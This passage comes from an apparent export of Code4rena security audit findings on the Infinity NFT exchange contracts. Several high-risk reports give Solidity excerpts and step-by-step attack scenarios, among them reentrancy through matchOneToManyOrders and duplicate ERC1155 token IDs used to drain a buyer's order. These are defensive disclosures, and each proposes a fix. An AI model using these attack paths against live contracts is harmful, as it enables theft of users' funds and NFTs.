_isTimeValid && itemsIntersect && _isPriceValid; } ``` However, because `buy.nfts` is used as `OrderItem` to transfer the nfts from seller to buyer, and there are no tokenIds specified in the matched maker buy order, the buyer wont receive any nft (`_transferERC721s` does nothing, 0 transfers) despite the buyer paid full in price. https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L763-L786 ```solidity function _execMatchOneMakerSellToManyMakerBuys( bytes32 sellOrderHash, bytes32 buyOrderHash, OrderTypes.MakerOrder calldata sell, OrderTypes.MakerOrder calldata buy, uint256 startGasPerOrder, uint256 execPrice, uint16 protocolFeeBps, uint32 wethTransferGasUnits, address weth ) internal { isUserOrderNonceExecutedOrCancelled[buy.signer][buy.constraints[5]] = true; uint256 protocolFee = (protocolFeeBps * execPrice) / 10000; uint256 remainingAmount = execPrice - protocolFee; _execMatchOneToManyOrders(sell.signer, buy.signer, buy.nfts, buy.execParams[1], remainingAmount); _emitMatchEvent( sellOrderHash, buyOrderHash, sell.signer, buy.signer, buy.execParams[0], buy.execParams[1], execPrice ); ``` https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1080-L1092 ```solidity function _transferERC721s( address from, address to, OrderTypes.OrderItem calldata item ) internal { uint256 numTokens = item.tokens.length; for (uint256 i = 0; i < numTokens; ) { IERC721(item.collection).safeTransferFrom(from, to, item.tokens[i].tokenId); unchecked { ++i; } } } ``` ### PoC 1. Alice signed and submitted a maker buy order #1, to buy `2` Punk with `2 WETH` and specified tokenIds = `1`,`2` 2. Bob signed and submitted a maker buy order #2, to buy `1` Punk with `1 WETH` and with no specified tokenIds. 3. Charlie signed and submitted a maker sell order #3, ask for `3 WETH` for `2` Punk and specified tokenIds = `1`,`2` 4. The match executor called `matchOneToManyOrders()` match Charlie's sell order #3 with buy order #1 and #2, Alice received `2` Punk, Charlie received `3 WETH`, Bob paid `1 WETH` and get nothing in return. ### Recommendation Change to: ```solidity function canExecMatchOneToMany( OrderTypes.MakerOrder calldata makerOrder, OrderTypes.MakerOrder[] calldata manyMakerOrders ) external view override returns (bool) { uint256 numItems; uint256 numConstructedItems; bool isOrdersTimeValid = true; bool itemsIntersect = true; uint256 ordersLength = manyMakerOrders.length; for (uint256 i = 0; i < ordersLength; ) { if (!isOrdersTimeValid || !itemsIntersect) { return false; // short circuit } numConstructedItems += manyMakerOrders[i].constraints[0]; uint256 nftsLength = manyMakerOrders[i].nfts.length; for (uint256 j = 0; j < nftsLength; ) { numItems += manyMakerOrders[i].nfts[j].tokens.length; unchecked { ++j; } } isOrdersTimeValid = isOrdersTimeValid && manyMakerOrders[i].constraints[3] <= block.timestamp && manyMakerOrders[i].constraints[4] >= block.timestamp; itemsIntersect = itemsIntersect && doItemsIntersect(makerOrder.nfts, manyMakerOrders[i].nfts); unchecked { ++i; } } bool _isTimeValid = isOrdersTimeValid && makerOrder.constraints[3] <= block.timestamp && makerOrder.constraints[4] >= block.timestamp; uint256 currentMakerOrderPrice = _getCurrentPrice(makerOrder); uint256 sumCurrentOrderPrices = _sumCurrentPrices(manyMakerOrders); bool _isPriceValid = false; if (makerOrder.isSellOrder) { _isPriceValid = sumCurrentOrderPrices >= currentMakerOrderPrice; } else { _isPriceValid = sumCurrentOrderPrices <= currentMakerOrderPrice; } return (numItems == makerOrder.constraints[0]) && (numConstructedItems == numItems) && _isTimeValid && itemsIntersect && _isPriceValid; } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/247", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Overpayment of native ETH is not refunded to buyer", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/244", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L119-L121 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L1228-L1232 # Vulnerability details `InfinityExchange` accepts payments in native ETH, but does not return overpayments to the buyer. Overpayments are likely in the case of auction orders priced in native ETH. In the case of a Dutch or reverse Dutch auction priced in native ETH, the end user is likely to send more ETH than the final calculated price in order to ensure their transaction succeeds, since price is a function of `block.timestamp`, and the user cannot predict the timestamp at which their transaction will be included. In a Dutch auction, final price may decrease below the calculated price at the time the transaction is sent. In a reverse Dutch auction, the price may increase above the calculated price by the time a transaction is included, so the buyer is incentivized to provide additional ETH in case the price rises while their transaction is waiting for inclusion. The `takeOrders` and `takeMultipleOneOrders` functions both check that the buyer has provided an ETH amount greater than or equal to the total price at the time of execution: [`InfinityExchange#takeOrders`](https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L359-L363) ```solidity // check to ensure that for ETH orders, enough ETH is sent // for non ETH orders, IERC20 safeTransferFrom will throw error if insufficient amount is sent if (isMakerSeller && currency == address(0)) { require(msg.value >= totalPrice, 'invalid total price'); } ``` [`InfinityExchange#takeMultipleOneOrders`](https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L323-L327) ```solidity // check to ensure that for ETH orders, enough ETH is sent // for non ETH orders, IERC20 safeTransferFrom will throw error if insufficient amount is sent if (isMakerSeller && currency == address(0)) { require(msg.value >= totalPrice, 'invalid total price'); } ``` However, neither of these functions refunds the user in the case of overpayment. Instead, overpayment amounts will accrue in the contract balance. Moreover, since there is a bug in `rescueETH` that prevents ether withdrawals from `InfinityExchange`, these overpayments will be locked permanently: the owner cannot withdraw and refund overpayments manually. Scenario: - Alice creates a sell order for her token with constraints that set up a reverse Dutch auction: start price `500`, end price `2000`, start time `1`, end time `5`. - Bob fills the order at time `2`. The calculated price is `875`. Bob is unsure when his transaction will be included, so provides a full `2000` wei payment. - Bob's transaction is included at time `3`. The calculated price is `1250`. - Bob's additional `750` wei are locked in the contract and not refunded. Suggestion: Calculate and refund overpayment amounts to callers. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/242", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/240", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/237", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/236", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/235", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/234", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/217", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/216", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Unnecessary receive() and fallback() functions", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/209", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Unnecessary receive() and fallback() functions"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/207", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Governance may allow admin/owner to dramatically inflate supply and rug pull token users", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/202", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Governance may allow admin/owner to dramatically inflate supply and rug pull token users"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/200", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/199", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/192", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/187", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/186", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Reentrancy from matchOneToManyOrders", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/184", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L178 https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L216 https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L230 # Vulnerability details `matchOneToManyOrders` doesn't conform to Checks-Effects-Interactions pattern, and updates the maker order nonce only after the NFTs and payment have been sent. Using this, a malicious user can re-enter the contract and re-fulfill the order using `takeOrders`. ## Impact Orders can be executed twice. User funds would be lost. ## Proof of Concept `matchOneToManyOrders` will set the order nonce as used only after the tokens are being sent: ``` function matchOneToManyOrders(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.MakerOrder[] calldata manyMakerOrders) external { ... if (makerOrder.isSellOrder) { for (uint256 i = 0; i < ordersLength; ) { ... _matchOneMakerSellToManyMakerBuys(...); // @audit will transfer tokens in here ... } //@audit setting nonce to be used only here isUserOrderNonceExecutedOrCancelled[makerOrder.signer][makerOrder.constraints[5]] = true; } else { for (uint256 i = 0; i < ordersLength; ) { protocolFee += _matchOneMakerBuyToManyMakerSells(...); // @audit will transfer tokens in here ... } //@audit setting nonce to be used only here isUserOrderNonceExecutedOrCancelled[makerOrder.signer][makerOrder.constraints[5]] = true; ... } ``` So we can see that tokens are being transferred before nonce is being set to executed. Therefore, POC for an attack - Alice wants to buy 2 unspecified WolfNFT, and she will pay via AMP, an ERC-777 token. Malicious user Bob will set up an offer to sell 2 WolfNFT. The MATCH_EXECUTOR will match the offers. Bob will set up a contract such that upon receiving of AMP, it will call [`takeOrders`](https://github.com/code-423n4/2022-06-infinity/blob/main/contracts/core/InfinityExchange.sol#L336) with Alice's order, and 2 other WolfNFTs. (Note that although `takeOrders` is `nonReentrant`, `matchOneToManyOrders` is not, and so the reentrancy will succeed.) So in `takeOrders`, the contract will match Alice's order with Bob's NFTs, and then set Alice's order's nonce to true, then `matchOneToManyOrders` execution will resume, and again will set Alice's order's nonce to true. Alice ended up buying 4 WolfNFTs although she only signed an order for 2. Tough luck, Alice. (Note: a similar attack can be constructed via ERC721's onERC721Received.) ## Recommended Mitigation Steps Conform to CEI and set the nonce to true before executing external calls. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Vesting time thresholds have wrong values.", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/182", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-infinity-findings", "body": "Vesting time thresholds have wrong values."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/175", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/171", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Unexpected behaviour in function `getUserStakeLevel` if stake thresholds is not ascending", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/169", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "Unexpected behaviour in function `getUserStakeLevel` if stake thresholds is not ascending"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/166", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/165", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Sellers may lose NFTs when orders is matched with `matchOrders()`", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/164", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/core/InfinityOrderBookComplication.sol#L205 # Vulnerability details ## Impact Function `matchOrders` uses custom constraints to make the matching more flexible, allow seller/buyer to specify maximum/minimum number of NFTs they want to sell/buy. This function first does some checks and then execute matching. But in [function](https://github.com/infinitydotxyz/exchange-contracts-v2/blob/c51b7e8af6f95cc0a3b5489369cbc7cee060434b/contracts/core/InfinityOrderBookComplication.sol#L192) `areNumItemsValid()`, there is a wrong checking will lead to wrong logic in `matchOrders()` function. Instead of checking if `numConstructedItems <= sell.constraints[0]` or not, function `areNumItemsValid()` check if `buy.constraints[0] <= sell.constraints[0]`. It will lead to the scenario that `numConstructedItems > sell.constraints[0]` and make the seller sell more number of nfts than he/she allow. ## Proof of concept Consider the scenario 1. Alice create a sell order to sell maximum 2 in her 3 BAYC with ids `[1, 2, 3]` 2. Bob create a buy order to buy mimimum any 2 BAYC with id in list `[1, 2, 3]` 3. Match executor call `matchOrders()` to match Alice's order and Bob's one with parameter `constructs = [1, 2, 3]` 4. Function `matchOrders` will transfer all NFT in `construct` list (3 NFTs `1, 2, 3`) from seller to buyer even though seller only want to sell maximum 2 NFTs. For more information, please check this PoC. https://gist.github.com/minhquanym/a95c8652de8431c5d1d24aa4076a1878 ## Tools Used hardhat, chai ## Recommended Mitigation Steps Replace check `buy.constraints[0] <= sell.constraints[0]` with `numConstructedItems <= sell.constraints[0]` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/161", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/160", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/154", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/152", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/151", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "updateStakeLevelThreshold should check that new threshold is within range", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/150", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-06-infinity-findings", "body": "updateStakeLevelThreshold should check that new threshold is within range"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/148", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/140", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "Lose of funds in matchOneToManyOrders() and takeOrders() and matchOrders() because code don't check that different ids in one collection are different, so it's possible to sell one id multiple time instead of selling multiple id one time in one collection of order (lack of checks in doTokenIdsIntersect() especially for ERC1155 tokens)", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/135", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L271-L312 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L59-L116 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L245-L294 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L118-L143 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L330-L364 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L934-L951 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityOrderBookComplication.sol#L145-L164 https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L171-L243 # Vulnerability details ## Impact Function `matchOneToManyOrders()` and `takeOrders()` and `matchOrders()` suppose to match `sell order` to `buy order` and should perform some checks to ensure that user specified parameters in orders which are signed are not violated when order matching happens. but There is no check in their execution flow to check that an `order` has different `NFT token ids` in each one of it's collections, so even so number of tokens could be valid in `order` to `order` transfer but the number of real transferred tokens and their IDs can be different than what user specified and signed. and user funds would be lost. (because of `ERC1155` there can be more than one token for a `tokenId`, so it would be possible to transfer it) ## Proof of Concept This is `_takeOrders()` and `` and `` code: ``` /** * @notice Internal helper function to take orders * @dev verifies whether order can be executed * @param makerOrder the maker order * @param takerItems nfts to be transferred * @param execPrice execution price */ function _takeOrders( OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems, uint256 execPrice ) internal { bytes32 makerOrderHash = _hash(makerOrder); bool makerOrderValid = isOrderValid(makerOrder, makerOrderHash); bool executionValid = IComplication(makerOrder.execParams[0]).canExecTakeOrder(makerOrder, takerItems); require(makerOrderValid && executionValid, 'order not verified'); _execTakeOrders(makerOrderHash, makerOrder, takerItems, makerOrder.isSellOrder, execPrice); } ``` As you can see it uses `canExecTakeOrder()` to check that it is valid to perform matching. This is `canExecTakeOrder()` and `areTakerNumItemsValid()` and `doTokenIdsIntersect()` code which are used in execution flow to check orders and matching validity: ``` /** * @notice Checks whether take orders with a higher order intent can be executed * @dev This function is called by the main exchange to check whether take orders with a higher order intent can be executed. It checks whether orders have the right constraints - i.e they have the right number of items, whether time is still valid and whether the nfts intersect * @param makerOrder the maker order * @param takerItems the taker items specified by the taker * @return returns whether order can be executed */ function canExecTakeOrder(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems) external view override returns (bool) { return (makerOrder.constraints[3] <= block.timestamp && makerOrder.constraints[4] >= block.timestamp && areTakerNumItemsValid(makerOrder, takerItems) && doItemsIntersect(makerOrder.nfts, takerItems)); } /// @dev sanity check to make sure that a taker is specifying the right number of items function areTakerNumItemsValid(OrderTypes.MakerOrder calldata makerOrder, OrderTypes.OrderItem[] calldata takerItems) public pure returns (bool) { uint256 numTakerItems = 0; uint256 nftsLength = takerItems.length; for (uint256 i = 0; i < nftsLength; ) { unchecked { numTakerItems += takerItems[i].tokens.length; ++i; } } return makerOrder.constraints[0] == numTakerItems; } /** * @notice Checks whether tokenIds intersect * @dev This function checks whether there are intersecting tokenIds between two order items * @param item1 first item * @param item2 second item * @return returns whether tokenIds intersect */ function doTokenIdsIntersect(OrderTypes.OrderItem calldata item1, OrderTypes.OrderItem calldata item2) public pure returns (bool) { uint256 item1TokensLength = item1.tokens.length; uint256 item2TokensLength = item2.tokens.length; // case where maker/taker didn't specify any tokenIds for this collection if (item1TokensLength == 0 || item2TokensLength == 0) { return true; } uint256 numTokenIdsPerCollMatched = 0; for (uint256 k = 0; k < item2TokensLength; ) { for (uint256 l = 0; l < item1TokensLength; ) { if ( item1.tokens[l].tokenId == item2.tokens[k].tokenId && item1.tokens[l].numTokens == item2.tokens[k].numTokens ) { // increment numTokenIdsPerCollMatched unchecked { ++numTokenIdsPerCollMatched; } // short circuit break; } unchecked { ++l; } } unchecked { ++k; } } return numTokenIdsPerCollMatched == item2TokensLength; } ``` As you can see there is no logic to check that `token IDs` in one collection of order are different and code only checks that total number of tokens in one `order` matches the number of tokens specified and the ids in one order exists in other list defined. function `doTokenIdsIntersect()` checks to see that `tokens ids` in one collection can match list of specified tokens. because of this check lacking there are some scenarios that can cause fund lose for `ERC1155` tokens (normal `ERC721` requires more strange conditions). here is first example: 1. for simplicity let's assume collection and timestamp are valid and match for orders and token is `ERC1155` 2. `user1` has signed this order: A:`(user1 BUY 3 NFT IDs[(1,1),(2,1),(3,1)] at 15 ETH)` (buy `1` token of each `id=1,2,3`) 3. `NFT ID[1]` fair price is `1 ETH`, `NFT ID[2]` fair price is `2 ETH`, `NFT ID[3]` fair price is `12 ETH` 4. `attacker` who has 3 of `NFT ID[1]` create this list: B:`(NFT IDs[(1,1), (1,1), (1,1)] )` (list to trade `1`token of `id=1` for 3 times) 5. attacker call `takeOrders()` with this parameters: makerOrder: A , takerNfts: B 6. contract logic would check all the conditions and validate and verify orders and their matching (they intersect and total number of token to sell is equal to total number of tokens to buy and all of the B list is inside A list) and perform the transaction. 7. `attacker` would receive `15 ETH` for his 3 token of `NFT ID[1]` and steal `user1` funds. `user1` would receive 3 of `NFT ID[1]` and pays `15 ETH` and even so his order A has been executed he doesn't receive `NFT IDs[(2,1),(3,1)]` and contract would violates his signed parameters. This examples shows that in verifying one to many order code should verify that one order's one collection's token ids are not duplicates. (the function `doTokenIdsIntersect()` doesn't check for this). This scenario is performable to `matchOneToManyOrders()` and `matchOrders()` and but exists in their code (related check logics) too. more important things about this scenario is that it doesn't require off-chain maching engine to make mistake or malicious act, anyone can call `takeOrders()` if NFT tokens are `ERC1155`. for other `NFT` tokens to perform this attack it requires that `seller==buyer` or some other strange cases (like auto selling when receiving in one contract). ## Tools Used VIM ## Recommended Mitigation Steps add checks to ensure `order`'s one `collection`'s token ids are not duplicate in `doTokenIdsIntersect()` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/133", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-infinity-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/132", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-infinity-findings", "body": "QA Report"}, {"title": "fund lose or griefing in all order matching functions [matchOneToOneOrders(), matchOneToManyOrders(), matchOrders(), takeMultipleOneOrders(), takeOrders()] because condition (seller != buyer ) is not checked in any of them", "html_url": "https://github.com/code-423n4/2022-06-infinity-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-infinity-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-infinity/blob/765376fa238bbccd8b1e2e12897c91098c7e5ac6/contracts/core/InfinityExchange.sol#L125-L364 # Vulnerability details ## Impact Functions `matchOneToOneOrders()`, `matchOneToManyOrders()`, `matchOrders()`, `takeMultipleOneOrders()`, `takeOrders()` are for order matching and order execution and they validate different things about orders but there is no check for that `seller != buyer`, which can cause wrong order matching resulting in fund lose or fund theft or griefing. (it can be combined with other vulns to perform more damaging attacks) ## Proof of Concept We only give proof of concept for `matchOneToManyOrders()` and other order execution/matching functions has similar bugs which root cause is not checking `seller != buyer`. This is `matchOneToManyOrders()` code: ``` /** @notice Matches one order to many orders. Example: A buy order with 5 specific NFTs with 5 sell orders with those specific NFTs. @dev Can only be called by the match executor. Refunds gas cost incurred by the match executor to this contract. Checks whether the given complication can execute the match. @param makerOrder The one order to match @param manyMakerOrders Array of multiple orders to match the one order against */ function matchOneToManyOrders( OrderTypes.MakerOrder calldata makerOrder, OrderTypes.MakerOrder[] calldata manyMakerOrders ) external { uint256 startGas = gasleft(); require(msg.sender == MATCH_EXECUTOR, 'OME'); require(_complications.contains(makerOrder.execParams[0]), 'invalid complication'); require( IComplication(makerOrder.execParams[0]).canExecMatchOneToMany(makerOrder, manyMakerOrders), 'cannot execute' ); bytes32 makerOrderHash = _hash(makerOrder); require(isOrderValid(makerOrder, makerOrderHash), 'invalid maker order'); uint256 ordersLength = manyMakerOrders.length; // the below 3 variables are copied to memory once to save on gas // an SLOAD costs minimum 100 gas where an MLOAD only costs minimum 3 gas // since these values won't change during function execution, we can save on gas by copying them to memory once // instead of SLOADing once for each loop iteration uint16 protocolFeeBps = PROTOCOL_FEE_BPS; uint32 wethTransferGasUnits = WETH_TRANSFER_GAS_UNITS; address weth = WETH; if (makerOrder.isSellOrder) { for (uint256 i = 0; i < ordersLength; ) { // 20000 for the SSTORE op that updates maker nonce status from zero to a non zero status uint256 startGasPerOrder = gasleft() + ((startGas + 20000 - gasleft()) / ordersLength); _matchOneMakerSellToManyMakerBuys( makerOrderHash, makerOrder, manyMakerOrders[i], startGasPerOrder, protocolFeeBps, wethTransferGasUnits, weth ); unchecked { ++i; } } isUserOrderNonceExecutedOrCancelled[makerOrder.signer][makerOrder.constraints[5]] = true; } else { uint256 protocolFee; for (uint256 i = 0; i < ordersLength; ) { protocolFee += _matchOneMakerBuyToManyMakerSells( makerOrderHash, manyMakerOrders[i], makerOrder, protocolFeeBps ); unchecked { ++i; } } isUserOrderNonceExecutedOrCancelled[makerOrder.signer][makerOrder.constraints[5]] = true; uint256 gasCost = (startGas - gasleft() + WETH_TRANSFER_GAS_UNITS) * tx.gasprice; // if the execution currency is weth, we can send the protocol fee and gas cost in one transfer to save gas // else we need to send the protocol fee separately in the execution currency // since the buyer is common across many 